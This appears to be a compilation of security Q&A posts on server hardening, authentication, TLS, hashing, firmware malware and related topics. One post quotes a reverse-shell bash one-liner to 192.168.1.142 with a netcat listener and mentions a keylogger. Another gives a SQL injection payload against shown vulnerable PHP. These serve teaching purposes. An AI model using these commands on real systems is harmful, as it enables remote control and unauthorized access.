IIS and SQLServer Hardening Long story short: I'm an engineer doing development, not administration. I have no direct access to the production server, so I can only tell the administration team the best configurations for security. However, as you all know, it's not as simple as a checklist, because you need to dig deeper and incorporate the configuration very well with your application logic.
However, as of the time being I'm only capable of giving them checklists of configuration, I can't give them guidelines, I need to give them specific things, so I would need to use some sorta... checklists.

Where can I find an exhaustive list of configuration for IIS and SQLserver and the machines they need to reside on (separate machines, of course) and what kind of services to run, ports to open... etc

The Center for Internet Security Benchmarks tend to be my go to source for hardening advice. They will, of course, need to be tailored to your environment, but I have found them to be fairly general purpose and easily modified. On the linked download page you will find both IIS and SQL Server documents.

As for the other half of your question, it seems like you're asking for additional hardening advice on the underlying operating system. If so, then see this question as a starting point - Windows Hardening. If that does not fit your needs, then I would suggest formulating a separate question specifically on that topic.

While hardening the underlying layers is good, you also need to be concerned with the web applications as well. The metrics that I've seen seem to indicate that compromises are shifting away from the OS and servers and focusing on the web apps themselves. So don't forget to look into that as well.


3rd party client authorization Let's say I'm main.com and my service is used by website owners clienta.com clientb.com

I need to verify the identity of users of client websites. (authenticate them)

My plan is implementing a backend view that's reached on client server like clienta.com/gotomain that will authenticate users locally however they do (session auth, cookie auth, etc.) and redirect users to main.com?token=j2j90ajsd90j2&sender=clienta with a calculated token and I will authenticate the users by token.

Token format will be sign(userid, CLIENT_A_KEY) so signed version of userid. (I'm thinking of JWT)

what are the attack vectors to this authentication? Is there anything fundamentally insecure?

If I understand your question, you do not actually need to authenticate the users, you just need to make sure that the client web site considers them to be authenticated.

Your basic approach looks correct to me. The client website just needs to sign the user's token which includes whatever information you need (user id or whatever).

The main vulnerability would be somebody using an old identity or some kind of replay attack. So, you want to have some kind of time stamp or sequence number to make sure that authentications are new sign ins, not recycled ones.


Crack hashed passwords using a known password I'm a dev trying to deploy a new dashboard I've written at work, the old one is a mess of hacked together libraries and only about half of the codebase is still even in use (dead code everywhere that just never got deleted, but doesn't do anything)...

I'm not willing to kill myself over this nonsense one more second, I am trying to get the user notes from accounts where a user (rarely) changed their password from the default. I have the default password's stored hashed string, what password it translates to, the hashing mechanism used, the encryption method used, and the hashed strings of the other passwords.

There just has to be a simple way to use this information to decrypt the other passwords right??

If this is not possible, can someone explain to me why? I get the one-way nature of hashing, but given how much information I have about the process end to end, I essentially have the entire process known, so I'm not sure that matters in this instance...

To summarize:

Can I use the knowledge of hashing and encryption mechanisms, along with a sample hash string and its plaintext value, to crack other passwords produced by the same code?

PS: If it helps, each default hash is identical regardless of when it was made...

Short answer:

You can not decrypt the hash. You will have to use other means to recover it.

Explanation:

The result of a hash isn't an encrypted version of the password. It can not be decrypted, any more than you can take hashbrowns and rebuild a full potato.  The result of a cryptographic hash is a scrambled up version of the data, with much of the original data lost.  You can guess what the lost data might have been, but you'll probably be wrong, and with cryptographic hash functions, being a little wrong at any one point will make the calculated data vastly different from the original data.

However, you can recover that default password using different means, assuming that you have access to the old system's source code. Here are three possibilities:

Since it is a default password, and this password is identical for everyone, the original developers didn't put much thought into password security.  Check the source code around user creation; the password may be stored in plaintext.
The default password has to be communicated to the new user somehow.  Create a new account, ask your IT admin, or ask the HR rep who gives the password to new employees.
(Somewhat shady) You can also just copy the passwords over wholesale from the old system to your new system and, when a user logs in using the default password, you'll have it in plaintext for a brief moment while the authentication system verifies that the password matches the stored hash.  Use this as an opportunity to switch everyone's password to a key-stretching algorithm such as PBKDF2, bcrypt, scrypt, or Argon2id.

And, if all of that fails, get the user on the phone, explain the situation, and schedule a time where they can watch you work and reset their password immediately afterwards.  (I'm only putting this as the last option, because it was mentioned in comments that this is the situation that you want to avoid.)

In all cases, you should expire the password immediately (because you just compromised it). However, the use of a default password hints that the application probably doesn't have a password expiration feature in it, so this is likely a moot point.

And while you're working on authentication systems, head over to the NIST Digital Identity Guidelines, browse the whole thing, and pay special attention to SP 800-63B.


Storing customer data securely (compliance) I came a cross this data breach where developers of an organization stored some customer PII data on their github account. Common sense tells me that this is obviously stupid and careless thing to do.
My question is that is there any security standards that specifically regulate where and how organization should store customer data they collect? I have checked NIST 800-53 and googled a bit but could not find any clear guidelines. Like for example if database server should be in controlled internal network environment behind firewalls, data encrypted etc.
In the data breach example the data was put to public facing github server with only a password protecting the data and the account was probably shared one.
Any references to specific standards (and paragraphs) would be most helpful.

This White Paper from SANS discusses network architecture and the use of a DMZ: https://www.sans.org/reading-room/whitepapers/bestprac/infrastructure-security-architectureeffective-security-monitoring-36512

The PCI DSS is related to cardholder data but, if you substitute 'sensitive' for cardholder, the guidance is pretty good - see requirement 1.3.6 Place system components that store cardholder data (such as a database) in an internal network zone, segregated from the DMZ and other untrusted networks.

Similarly, the PCI DSS discusses the use of encryption:

3.4 Render PAN unreadable anywhere it is stored (including on portable digital media, backup media, and in logs) by using any of the following approaches:

One-way hashes based on strong cryptography, (hash must be of the entire PAN).
Truncation(hashing cannot be used to replace the truncated segment of PAN).
Index tokens and pads (pads must be securely stored).
Strong cryptography with associated key-management processes and procedures.

In relation to storage of production data the following is also required within PCI DSS:

Development/test environments are separate from production environments with access control in place to enforce separation.
A separation of duties between personnel assigned to the development/test environments and those assigned to the production environment.
Production data (live PANs) are not used for testing or development.


Protected Client Server communication advice I am hoping for a better understanding about SSL/TLS by setting up two devices, running two different applications, allowing communications to go over SSL/TLS.

With OpenSSL I have created a certificate and key which I installed on both, the server and the client.
On the client side, I can also choose from three cipher suites (on the server I don't have that option to choose from).

TLS_RSA_WITH_NULL_SHA
TLS_RSA_WITH_3DES_EDE_CBC_SHA
TLS_RSA_WITH_AES_128_CBC_SHA

I use Wireshark to see what is going on during the communication that always fails, no matter what  I select from above.
I see a normal TCP communication: SYN, SYN ACK, ACK and then a FIN from the client.
It is very obvious, I am doing something wrong, but honestly no clue what to do.
It seems that it doesn't even get to the point of using the SSL protocol.

Can anyone please clarify things for me what  Iam doing wrong and hand me a possible solution?
This requires more professional security skills.
Thanks in advance !
John

P.S.: I want to use self-signed certificates since it is only used for testing.

If you see only the ACK, SYN+ACK, ACK and FIN packets, then you are seeing the shell of a TCP connection, but no data. If the FIN is from the client, then the client apparently decides that it has nothing to say. So this points at a configuration issue on the client: when the client should begin the SSL/TLS conversation (by sending the ClientHello message), it just gives up. In any case, at that point, the role of the server is to wait for the ClientHello, so its own SSL-level configuration has not been exercised yet.

Now some general comments:

In SSL/TLS, the server should have a private/public key pair, the public key being wrapped in a certificate. The client may also have a private/public key pair -- but not the same one ! The whole point of asymmetric cryptography is to avoid having to share private elements between different entities. In fact, you should strive never to let private keys travel between systems: the more a key journeys, the more exposed it gets, thus the less private it becomes.
Cipher suites select the set of cryptographic algorithms which will be used. In the three suites you talk, RSA will be used for the initial key exchange (so the server's public key should be of type RSA), and SHA-1 for integrity protection. The symmetric encryption will use, respectively, nothing at all, 3DES, or AES. If unsure, use AES. If you are thinking about using the "NULL" encryption, then think again.
If you want to use SSL/TLS, and, even more, if you want to debug some SSL-related issues and have begun launching Wireshark (that's a good thing), then you will need to understand how SSL works. You could do worse than reading this answer for some explanations on that.


Which kind of SSL certificate is the big one? Okay, so I just recently visited a couple of https (secure) websites and noticed that there was a difference with the way they were shown in Chrome.

As you can see, the top one has some extra text next to it. How is it possible and can I use it if I have an AlphaSSL Private SSL certificate for my website on a shared server?

This is an EV Certificate. You pay more for it, and you are rewarded with a green rectangle in some browsers.


Can a smartphone strictly be viewed as the 'something you posses' factor for 2FA when it has no hardware token capability like smartcards? It seems that 2FA purists seem to go for security keys (like ubikey or smart-cards) while others seem to have a more relaxt stance which even seem to include 'possession' of none physical elements like an email address, a phone-number or a push notification challenge to a certain app installed on a registered device (which only has a 'soft' clone-able private key).

I mostly investigated the last one (push messages), but it seems to me everything that can be copied (in a non-physical way/or physical effort) could potentially be written of as something that's not fully reliably a 'physical' possession of you (and so it doesn't count as a factor).

But that confuses me since (what seems to me like) a reliable 2 factor protocol description like U2F doesn't fully exclude '... completely software implementations ...'.

Also going from the assumption that a phone was hacked (or cloned) we could say that there is no real 2nd factor for the hacker anymore since it could possibly access passwords that were stored (another assumption) in the mobile browser (I'm securing a web application ;) and the software token (or even the hardware token, assuming full access on the device).

I guess I'm trying to ask: What would constitute an actual 2FA implementation using a smartphone, and what wouldn't? Or am I just mixing up theory with actual implementation too much?

For using the software token approach I could only think off securing that with a password that can't be saved (to mitigate the smartphone hack case a bit). But wouldn't this make it 'something you know' again and thus mitigate the 2nd factor (the 1st factor also being 'something you know' in this case)?

[This is my view, I'm not claiming that it represents the view of the industry]

I totally agree that some piece of secret data stored on your main device blurs the line between "something you know" and "something you have". Which side of the line it falls on, I think, depends on the specifics of what that data is and how the authentication protocol works, and what perspective you're looking at it from.

Technically yubikeys, smartcards, and even OTP fobs, are also a piece of secret data stored in software, albeit in a way that's difficult even for an attacker with physical access to extract. I will argue that the thing you are proving possession of is not the device, but the secret data. With hardware tokens these are the same, but people go and apply the same thinking to phones and other kinds of secrets and I'm not sure that's the correct way to think about it.

Definitions of "Know" vs "Have"

What kind of secret it is, and how your device stores and accesses it gives a sliding scale of security (plain text file --> yubikey). Somewhere in there lies the boundary between "know" and "have". Where you draw that line, I think, depends heavily on whose perspective you take. Some examples:

End-user perspective: you probably draw the line at "came from my memory" vs "is stored on a device".
System Administrator perspective: you probably draw the line at whether you can ask for the device back and be confident that the user no longer has the secret.
Authentication Server's perspective: in most cases, the server has no way to tell whether the secret came from a secure device, or was derived from a password that the user typed in. So the relevant distinction from its perspective is whether it is a shared secret that both client and server know, or whether it's some sort of public key that you need to prove possession of without revealing the actual secret. The practical litmus test is that "knows" tend to be vulnerable to record&replay attacks, while "haves" tend not to be.

There are some cases that everybody agrees on: a password that the user types into a textbox is clearly a "know", and a smartcard with an RSA keypair is clearly a "have". But no matter how you define "know" vs "have", I think there will always be edge-cases that one of the above perspectives considers a "know" while another considers a "have".

Thought experiment

Say the sysadmin generates you a new random password, stores it encrypted on a yubikey such that the key will release the encrypted password upon request, and only your VPN client has the key to decrypt and actually use the plaintext password (no idea if this is realistic, but hey, it's a thought experiment). Is that a know or a have? From the end-user's perspective it's certainly a have ... they can't get into their account without the fob. From the admin's perspective it's (mostly) a have because unless the user went out of their way to hack the fob and the VPN client, the user can't learn the password, so you can ask for the fob back and give it to another employee. But from the server's perspective it's certainly a know because all it sees it a plaintext password, it has no way to tell whether it came off a secure device, or was typed in.

Server perspective

As an application developer, the theoretical distinction that matters to me is:

  With "something you know" (ie passwords) you are sending the secret itself over the network to the server. With "something you have" (usually cryptographic keys or seeds) you never send the secret itself, but a one-time value or challenge response that proves you have possession of the secret.

Consider a man-in-the-middle sniffing your web traffic. They can steal your username / password. With OTP / yubikey / etc, the secret data is a cryptographic key or an RNG seed. They can sniff all the messages they want, they will never recover the "something you have" secret.

I'm arguing that if retrieving the second factor requires the attacker to have access to your device (physical access or rootkit) or to another account of yours, then it meets my definition of "something you have".

Resistance to cloning

Resistance to cloning once the attacker already has access the device is clearly a bonus, but (to me) not necessary to meet the definition. After all, to do a clone, the attacker already needs to "have" the device. The difference at that point between being able to use the device to impersonate you, and being able to clone the device to impersonate you is theoretically meaningless because, either way, they already have the ability to impersonate you.


Average time before a malware gets detected in the world I am actually working on a scolar presentation about Careto malware. I was really impressed by the time it took to discover it (at least 6 years, according to some compilation stamps), so to improve my presentation I am looking for statistics about the average time before a malware gets detected (i.e. the time between its creation/diffusion and its discovery by someone), to compare Careto to the average malware.

I have searched on Google but couldn't find anything interesting (because "the time to detect a malware" can also be interpreted as "the time to detect a malware on your computer").

Statistics of this kind would be very difficult to gather unless there was clear and verifiable evidence of a creation date within the sample itself. That is unlikely for a variety of reasons, such as the fact that the vast majority of malware is a minor variation of a similar group or family. The only other way I can think of to "start the clock" would be to have a backdoor into the creation process of the malware, which for operational security purposes is not available.

If you absolutely need these statistics then my advice would be to see if you can buy them from your local mom and pop exploit development shop, assuming they keep track of when their code is first detected by an anti-malware engine.


Should Subject Public Key Information be the same in 2 different certificates created from the same CSR? Recently, I've worked on setting certificate pinning for our mobile app. I'm using the hash of the Subject Public Key Information (SPKI) for the pinning. Now, I was under the impression that SPKI will be the same if I'll create another certificate from the same private key. So I tried it out - I created a private key using SSL and a matching CSR. Now, I signed this CSR twice using different private keys, and to my surprise - the SPKI (and the pin hash) was not the same. Is that the expected behavior? Or is it something I'm missing? Is the PKI in the certificate also signed?

Those are the openssl command I've used:

To generate a CSR:

openssl req -new -sha256 -key private.key -out private.csr

To generate CA private key:

openssl genrsa -des3 -out ca.key 2048

To sign the CSR:

openssl x509 -req -days 365 -in private.csr -signkey ca.key -out test.crt

This is the beginning of the SPKI from the first certificate:

BA 86 D3 0E E8 CC F3 C0 A2 B9 1E 8B BA 45 80 11 EF 13 CB 4F 76 CE A8 6A

And this is the beginning of the SPKI from the second certificate:

CC 96 B3 AB EA 0D FC 66 91 D8 E2 50 2B A7 8F 63 91 4C 7E 10 A3 48 1E 9F

To compute the hashes, I used the simplest way - imported the certificates to the mac keychain, and open them:

I also used this python script from TrustKit to get the certificate pinning hash, and it also was different.

To sign the CSR:

 openssl x509 -req -days 365 -in private.csr -signkey ca.key -out test.crt

From man x509:

  -signkey filename ... If the
  input is a certificate request then a self signed certificate is
  created using the supplied private key using the subject name in the
  request

In other words: you are creating a self signed certificate with ca.key as the key and not a certificate with private.key as key as you intended. Since you are using different ca.key you therefore get different  keys inside the generated certificate and thus different subject public key information.

What you need to do instead is to create a CA and use it to sign the CSR like this:

$ openssl req -x509 -newkey rsa:4096 -keyout c0.pem -out c0.pem -days 365
$ openssl x509 -req -days 365 -in private.csr -CA c0.pem -CAcreateserial -out test0.crt

If you do this with different CA but the same CSR you will see that all resulting certificates have the same subject public key information, using the key included in the CSR.


Encrypting sensitive data in a financial form I'm currently building a B2B E-Commerce site for a client using WordPress. We sell industrial machinery ranging in the upper $100k-$400k price range. My client would like to have their financing form online where customers/businesses enter bank account information, as well as social security numbers. He wants this form to be emailed to our financing group to process. Instead of emailing this form, could I keep the data on my SSL server and encrypt it some way then provide a login link for our financing group to use, enter a key, then display the sensitive information? We are trying to eliminate the need to fax or mail an application.

We have 2 servers, an in-house MS SQL 2008 server and a MySQL/nginx server WordPress is installed on.

After reading through many posts, what my client wants to do is a huge risk for users and our company. I'm not a security specialist, just looking for some feedback on what I should/could do.

Thanks in advance!

As per Lucas's comment, you really do not want to do this unless you know how to do it.

Storing account details and SSN's brings legal and regulatory requirements - including:

strong encryption
regular penetration testing
audits

And so on.

There are many payment providers who will do this for you, meeting PCI DSS requirements etc


Open source firmware as mitigation against firmware persistent malware? I am concerned about the threat of persistent malware entrenched in device firmware. I am not familiar with the intricacies of firmware security, so I am turning to SE for help.

I recently learned of FSF-certified laptops that have all proprietary firmware removed, and come with open-source firmware, bios, and operating system. For example, the Taurinus X200.

My question is whether such a laptop provides greater protection against firmware malware, such as BadBIOS? Are there mitigations that open-firmware laptops have that proprietary-firmware laptops do not, such as an ability to inspect the firmware for changes, or perhaps the ability to re-load the firmware on a regular basis? Are there other aspects of open firmware that one needs to bear in mind? Thanks in advance for any insight!

No, open-source firmware does not provide "greater protection against firmware malware" just because it's "open". It can still have the same vulnerabilities as the closed-source firmware (see e.g. BARing the System: New Vulnerabilities in Coreboot & UEFI based Systems).

It does lessen your chance of infection significantly just because your firmware is not of a common variety and not a part of monoculture of the few BIOS makers (see How Many Million BIOSes Would you Like to Infect? for background on the issue), in the same way as using Mac or Linux makes you immune from Windows viruses (but Mac and Linux viruses do exist).

However, open-source firmware may implement additional protections which make it more resilient against infections. For example, Chromebooks use signed firmware and almost any modifications of it will make machine unbootable (unless you enable developer mode which requires physical access). Note that the same feature is offered by the recent Intel BootGuard (except it does not have developer mode - once enabled, the signing checks can't be removed).

P.S. Please note that BadBIOS has not been confirmed to be real. There were a few proof-of-concept rootkits presented by researchers and there was some stuff in the leaked Equation Group files which targeted BIOSes of some network appliances but AFAIK the only confirmed in-the-wild BIOS infection was Mebromi which only targets pretty old Award BIOS versions. I would suggest you to think about your threat model and concentrate on the more realistic threats first (e.g. phishing/social engineering).


TLS 1.2 backwards compatibility. The question is that, what if the client only supports TLS 1.1 and the server has TLS1.2 or SSL 3.0 enabled.  Will it then go back to SSL 3.0 because the server doesn’t have TLS 1.1 enabled?

In the SSL/TLS handshake, things go thus: the client sends a maximum supported version; then the server chooses the version that will be used, and sends it to the client.

The server, by definition, won't choose a protocol version that it does not support. The server will try to select a version that it supports and that is also supported by the client; however, the server has only partial information about what the client supports, since it only received a "maximum supported version". If the client says "up to TLS 1.1", then the server knows that the client supports TLS 1.1 (or least claims to) but not TLS 1.2; whether the client would support/accept TLS 1.0 or older protocol versions is unknown to the server at that point.

In your envisioned situation, if the server supports only TLS 1.2 and SSL 3.0, then it will select only TLS 1.2 or SSL 3.0. If the client says "I support up to TLS 1.1", then the server will not select TLS 1.2 (since, at this point, the server knows that the client does not support it); therefore, it will choose SSL 3.0, which is its only other choice. The client, upon receiving that answer from the server, may very well say "SSL 3.0? What sort of antique server is that? Why not flint stone tools while we're at it?" and refuse to communicate any further.

Basically, for the handshake to succeed, there must be a protocol version that both client and server support. If the client supports only TLS 1.1, and the server supports only TLS 1.2 and SSL 3.0, then there is no common protocol version, and communications won't happen.

Now there may be weird situations in which client and server fail to notice that they do have a version that they both support. For instance, the client, for some reason, supports TLS 1.0 and 1.2, but not TLS 1.1; and the server supports TLS 1.0 and 1.1, but not TLS 1.2. In such a situation, the client will claim to support "up to TLS 1.2", and the server, who knows only TLS 1.0 and 1.1, will choose TLS 1.1, that the client will reject.

In practice, such situations do not occur, because implementations don't have "holes" in the range of protocol versions that they support. If a client or server supports versions X and Y, then it will also support all versions between X and Y. It makes very little sense to support TLS 1.0 and TLS 1.2 but not TLS 1.1.


Is HTTP Digest + MD5 still an alternative to consume my own api? I'm reading a lot about implementing security constraints to a REST API.

There are a lot of methods, some better than others for 3party applications or to consume my own API.

HTTP Basic + TLS (with keys)
HTTP Digest + TLS
OAuth 1.0a, 2.0
Application-only-auth (with keys) link
Amazon Signature Version 4 Link

To consume my own API I have 3 options (from low to high degree of difficulty to implement, always using TLS!):

HTTP Basic + TLS (with keys)
HTTP Digest + TLS
Application-only-auth (with keys)
Amazon Signature Version 4

The only benefit of digest over basic+tls is that the password is not transferred in plaintext but in an MD5 Hash.

But according to kbcert and wikipedia they say that MD5 must not be used (collision attacks).

My question is, If MD5 security is compromised (today and in the near future) 2. HTTP Digest + TLS is not a viable option to consume my own API and I only have the others "more" secure options (1, 3, 4)?

I know that HTTP Basic+TLS can have replay attacks.

Collision attacks are not relevant to the use of a hash function in the "Digest" authentication; that one uses preimage resistance for which MD5 is still quite sturdy.

Note that as long as you use SSL/TLS (i.e. HTTPS) then you can use Basic authentication: the SSL layer ensures that the password does not travel "as cleartext", and also that it is sent only to the rightful server. Also note that without SSL/TLS, you have other problems beyond authentication, e.g. hostile hijack of the connection after the authentication phase. For reasonable security, you really need SSL, and once you have SSL, then Basic authentication is fine.

In fact, Digest authentication introduces extra issues, not because of MD5, but because it forces the server to have a copy of the password; so the server must store the passwords "as is", and any local read-only breach on the server becomes critical. With Basic authentication, the server only needs to store hashed passwords (with a good password hashing function), and that's much better.

So don't use Digest, use Basic. But it is not a matter of "MD5 weakness"; Digest with SHA-256 would be no better.

As for OAuth, its main use is to delegate authentication, which may or may not be a good idea in your case, but is another matter altogether.


Four-factor authentication I'm sure you've all heard of two-factor/multi-factor authentication. Basically it comes down to these factors:

Knowledge - something you know (e.g. password, PIN, pattern)
Possession - something you have (e.g. mobile phone, credit card, key)
Existence - something you are (e.g. fingerprint)

My question is: Does a fourth factor of authentication exist?

A quick search on Google did not bring any interesting results other than a patent document that I didn't bother reading through. Could somewhere you are be considered a fourth factor?

As you noted, the main three are:

Something you know
Something you have
Something you are

I'd argue that there are others:

Something you can do, e.g. accurately reproducing a signature.
Something you exhibit, e.g. a particular personality trait, or even neurological behaviour that could be read by an fMRI. These are not strictly "are" features, as they're more fluid.
Someone you know, e.g. authentication by chain of trust.
Somewhere you are (or have access to), e.g. locking a session to an IP, or sending a confirmation pin to your address. This one is a bit tenuous in terms of being called an authentication factor, but it's still useful to note.


Is it bad practice to send decryptable data? If I'm authenticating an action, is it a bad practice to authorize the connection using a decryptable hash that does have a specific algorithm, but only the remote machine knows?

Is sending decryptable data using HTTP bad practice in general?

An algorithm that "only the remote machine knows" does not exist. Algorithms are not secret. They exist as source code, binary code and mind concepts in various places, including the brains of developers. Cryptographers have decided long ago (half a century) to split "cryptosystems" into keys, which are secret, and algorithms, which are not. They did so because it is nigh impossible to keep an algorithm secret, and even when it is not widely known, you cannot tell "how much" it is secret.

Doing anything related to security with plain HTTP is usually a bad idea. Plain HTTP does not offer any protection against eavesdropping, but it does not protect against active hijacking either. And you need both protections. SSL provides both. Use SSL. Once you use SSL, many things are simpler, and, in particular, you can send passwords "as is" in the SSL tunnel.

"Decryptable hash" is a nonsensical expression: by definition, a cryptographic hash function is one-way, which means the exact opposite of "decryptable". You want to say "encrypted password". And encrypting passwords means that you envision decrypting them somewhere, which is a bad idea, unless this is for transport only, not storage; and, for transport, you use SSL.


100% detectable backdoor attacks on network Every article I have read on backdoor attack prevention says pretty much this:

  Protecting against them may be difficult.

I am tired of reading how it can be ~difficult~ to protect against. Difficult is a fuzzy word. I want to know concretely, yes or no. If you can protect against them or not. Wondering if one could answer yes you can protect against them, or no ultimately you cannot, along with a brief reason why. I don't care that it is difficult, I would prefer to know if there is anything possible to implement to be secure.

I am pretty sure there are a class of things that are completely unprotectable, such as firmware updates which may insert undetectable code below the operating system. So it would be good if the answer could be divided into two sections, the things that can't be protected against (firmware updates which may inject malware), and things that can be protected against at the boundary of all possible things to protect against. That is, there's a huge amount of things you could protect against, so outlining them all is way too much. But there is probably a very small amount of things right at the edge of the most difficult to detect things. I would like to know what those things are that are extremely difficult to detect, yet are still 100% detectable. I don't want to know about the things in which ~you might be able to detect it~ or ~it is difficult to detect~. Only if it is guaranteed detectable, given enough knowledge, the things at the edge of difficulty. Things in which it would take millions of computation-years to break like password hashes are considered undetectable for this post. I am only wondering about things in which, if you are educated enough, you could detect in a matter of a few months of work or something.

Another example of how this is confusingly presented is this:

  Generally if they’re a good hacker, you never will know. One of the only ways to know for sure is to use another computer to “sniff” the network traffic coming in and out of your computer to see if there’s anything that seems out of the ordinary.

To me that says:

  You cannot detect it if they are good. But you can still detect it.

That is, it's an oxymoron.

I'm not really sure what you are asking. For me it looks like you are mainly complaining about the fuzzy answers you get regarding backdoors and you'll like to get some clear yes|no answers which kinds of backdoors can be found and which can not be found. Only it is not that simple.

First, while "backdoor" sounds like it was deliberately added and many are, most backdoors into systems probably result from inadvertently added bugs which can be used as backdoor by a knowledgeable attacker (and then of course the backdoors done with the help of inside users by employing phishing mails or similar).

In theory all such backdoors/bugs can be found given unlimited time and resources - only nobody has unlimited time and resources. But with more time and resources more backdoors can be found, i.e. the ability of detecting backdoors is related to the amount of money one can throw at the problem. Only, the ones who have a lot of money are usually also the ones who are most likely to get attacked with the more advanced and hard to find backdoors since the purpose of the backdoors is ultimately to get a high return on investment - and the more money or equivalent (information, data...) are there the more attractive the target is.

Backdoors might be explicitly added or just happen (i.e. bugs) at lots of places, like in the firmware of network cards, CPU, graphic card, USB controllers, printers ...,  in mainstream software like Windows or other OS, Office, browser extensions, some arbitrary software downloaded from the internet, ... . Backdoors might also exist at the hardware level, like a specific sequence of CPU instructions might switch off memory protection or similar or side channels (like Meltdown) allow reading over memory protection barriers.

In order to fully protect against backdoors one must either be aware of all possible backdoors and how they work or one must be sure that no backdoor exists at all. This means that one must either create all hardware, firmware and software oneself and never make a serious bug, or one need to get these things from vendors one can fully trust (i.e. 100.00% -  99.99% is not enough) to never add an explicit backdoor and to never add serious bugs. Even if one will find such vendors (unlikely) these usually need to rely on other vendors and there the trust problem is the same.

The best strategy against backdoors is probably to assume that there will always be some backdoor or bug. The goal is then to make sure that there are as few backdoors/bugs as possible and to make sure that their impact will be as low as possible. This means to buy only from really trustable vendors where one can also (mostly) trust their delivery chain but also to add resilience against possible backdoors/bugs in strategic places. This might for example be a strict firewall which only allows connections to a few places or this might be use of IPSec or similar inside the local LAN since one does not fully trust switches and routers and physical network cards. This means also to isolate different parts of the network from each other but also isolation at the application level (sandboxes, containers, privilege segmentation techniques...) or the OS level (microkernel). This means also to use only the really necessary software and hardware etc. The simpler and the stricter defined an environment is, the easier it can be audited for possible vulnerabilities and the better possible attack vectors can be determined and addressed.


Why would people connect to reverse shell's server side? This is weird question, I implemented a reverse shell application, in which multiple commands can be executed and a keylogger can be executed. But, I need to connect to the server first, that way on the server side, attacker/user can type in commands, such as "run keylogger or blah blah blah etc" to control the client/victim. But, this is just a test by myself. In reality, who the hell will connect to this/my server? I do not understand. Is this server hosts a public website? that people will accidentally pass by? Or, who would run the bash like this: $ bash -i >& /dev/tcp/192.168.1.142/80 0>&1 ? This is from a tutorial, but again, why should/would people run this, when it is dangerous? I do not understand the logic here. And the tutorial says I should use netcat to listen on port: nc -vlp 80 , but nothing happens. Why is that? Shouldn't be someone connect to me? Thanks a lot in advance

A reverse shell is a post-exploitation mechanism, meaning that you can only use it after you've already exploited the system. If you hacked a server somewhere at a bank, you will want to be able to look around the server to see what you can get from it. This exchange of sending a command (such as "show directory listing") and receiving responses ("there is credit_cards.txt") is what you use a reverse shell for.

You are right that a user will never run such a command on purpose. You indeed don't post those commands to a website hoping for someone to run it; rather, you insert the command into your exploit so that it connects back and gives you access.

  if the attacker has already exploited the system, why don't he simply run some commands in the exploited system and find out?

So if you made some malware with an exploit and sent it to a bank employee by email. If they open the email and run your exploit, the malware can do whatever you programmed it to do. But what if you have follow-up commands? Like, you might have programmed it to send you a directory listing, but what if you want to retrieve one of the files? You will have to have some way of communicating this command ("download file X") to the victim's system, and sending another email to the employee with updated malware would be rather risky.

A reverse shell is just a fancy word for any two-way channel between the victim's system and your (the malware creator's) system. It typically involves a real shell that (for convenience) works the same way that bash or powershell does, but the term is often used for any two-way post-exploitation communication system.


PHP: Am I free from SQL Injection? Let me preface this by saying this is my first attempt to understand input sanitation, and at the moment I'm still a newbie to PHP. I've put together a quick register/log in website to test some things, and I'm having trouble breaking it. I'm trying to exploit my own website so that I can figure out (by myself, hopefully) how to fix this.

I've done quite a bit of research, but no matter how many different things I try I simply cannot affect my site. What I'm trying to do is get anything done, from dropping tables to getting user info - anything that could pose a risk. Below is my stripped down code. I'm quite sure that there is space for injection, but I honestly can't find it. Also, pay no mind to my use of md5. I know that there are a better things out there!

Assume that $user and $password have come from a form with nothing done to it.

$password = md5($password);

$query = mysqli_query($con,"SELECT * FROM users WHERE name='$user'");
$numrows = mysqli_num_rows($query);

if ($numrows == 1){

    $row = mysqli_fetch_assoc($query);
    $dbpass = $row['password'];
    $dbuser = $row['name'];

    if ($password == $dbpass){
        $_SESSION['name'] = $dbuser;
    }
}

What I'm looking for is any exploit that I can use to learn from. If you have tips on how to secure it, that would be appreciated as well.

Cheers.

Have you tried including quotes to break this? From what I see here, it should actually cause a horrible error if a quote is passed in. Sometimes you have to fiddle around a little before the crash happens.

$query = mysqli_query($con,"SELECT * FROM users WHERE name='$user'");

Here is my attempt to break this:

'OR 1=1--

It appears you have not used parametrized queries, therefore leaving your code open to injection. Note the above is just a proof of concept - with your current code it wont actually let you do much that you can see.

Your code validates the results of the query after it is executed, which is very dangerous. You are open to SQL timing attacks at the very least.

Instructions for implementing Parametrized queries are below:
http://php.net/manual/en/mysqli.prepare.php
https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet

Additionally:

1)As a beginner you are much better off using a pre-made ORM.

2)Input sanitization is key. Always do this before the data gets into a query.

3)If you are doing this to learn security, try a pre-made war game of a similar ilk - it may give better guidance for learning to exploit the bug.

Disclaimer:
I don't know this particular PHP API too well, so if it's doing parametrized queries by default, I couldn't tell or was not aware of it.


What is torrent encryption and does it make my traffic anonymous? This question is inspired by this article (in Russian) about a website called I Know What You Download. From what I understand, they scan the DHT networks and display torrents that any given IP participated in, and although it is sometimes inaccurate, it can provide data on Internet usage, and thus presents a threat to anonymity.

Most people suggest using VPN in order to conceal torrent traffic. However, in another article (also in Russian) same author shares his experience with torrenting over VPN set in Azure. Apparently, he received DMCA notice for torrenting a film (author specifically notes that he did not fully download the film, and everything was done for the sake of experiment). They provided the name and the size of the file, along with IP address and port.

But, some (if not all) torrent-sharing programs have an encryption feature. For instance, Tixati can even enforce encryption for both incoming and outgoing connections:

Question is: what does this feature encrypt? Name of the file, its contents, size? Could it prevent DMCA notices? If not, what does it actually do?

Related: the answer there mentions encryption — does this kind of encryption count?

Think of it like an underground fight club. Encrypting the traffic means nobody on the outside can see you enter or leave, but once you're inside, everybody there knows who you are and can monitor your participation.

This feature is really only useful if you have an ISP that blocks torrent traffic. Encrypting it means it doesn't appear to be torrent traffic, it's just an encrypted stream, but once you get past the ISP and connect to the swarm everybody else participating knows exactly who you are and what you're doing.


New Undetected Virus? I am having difficulty with my laptop right now. All of a sudden some partitions would contain a link to the previous contents of that partition. For example:

Before:
Partition T:\
            \somefile1
            \somefile2
            \somefile3

Now:
Partition T:\
            \autorun.inf
            \Partition T: . lnk
            \<random>.FAT (hidden)
            \desktop.ini (hidden)
            \(other hidden files)

The link file is a shortcut to the previous contents of the partition. Not only that, some of my folders (along with the files inside it) have gone missing. I suspect it's a virus but AVG and AVAST doesn't detect a thing (actually some Metasploit files but I know it's false positive) other than windows 7 loader extreme edition (w7lxe.exe). I recently installed a desktop theme, though, which had a explorer.exe and shell with it. Any suggestions? (file recovery's already solved)

And another, whenever I try to delete the autorun.inf file, It says, "Could not delete autorun.inf because it is open in Windows Update", when in fact my Windows Update is disabled.

============================ EDIT ==========================================

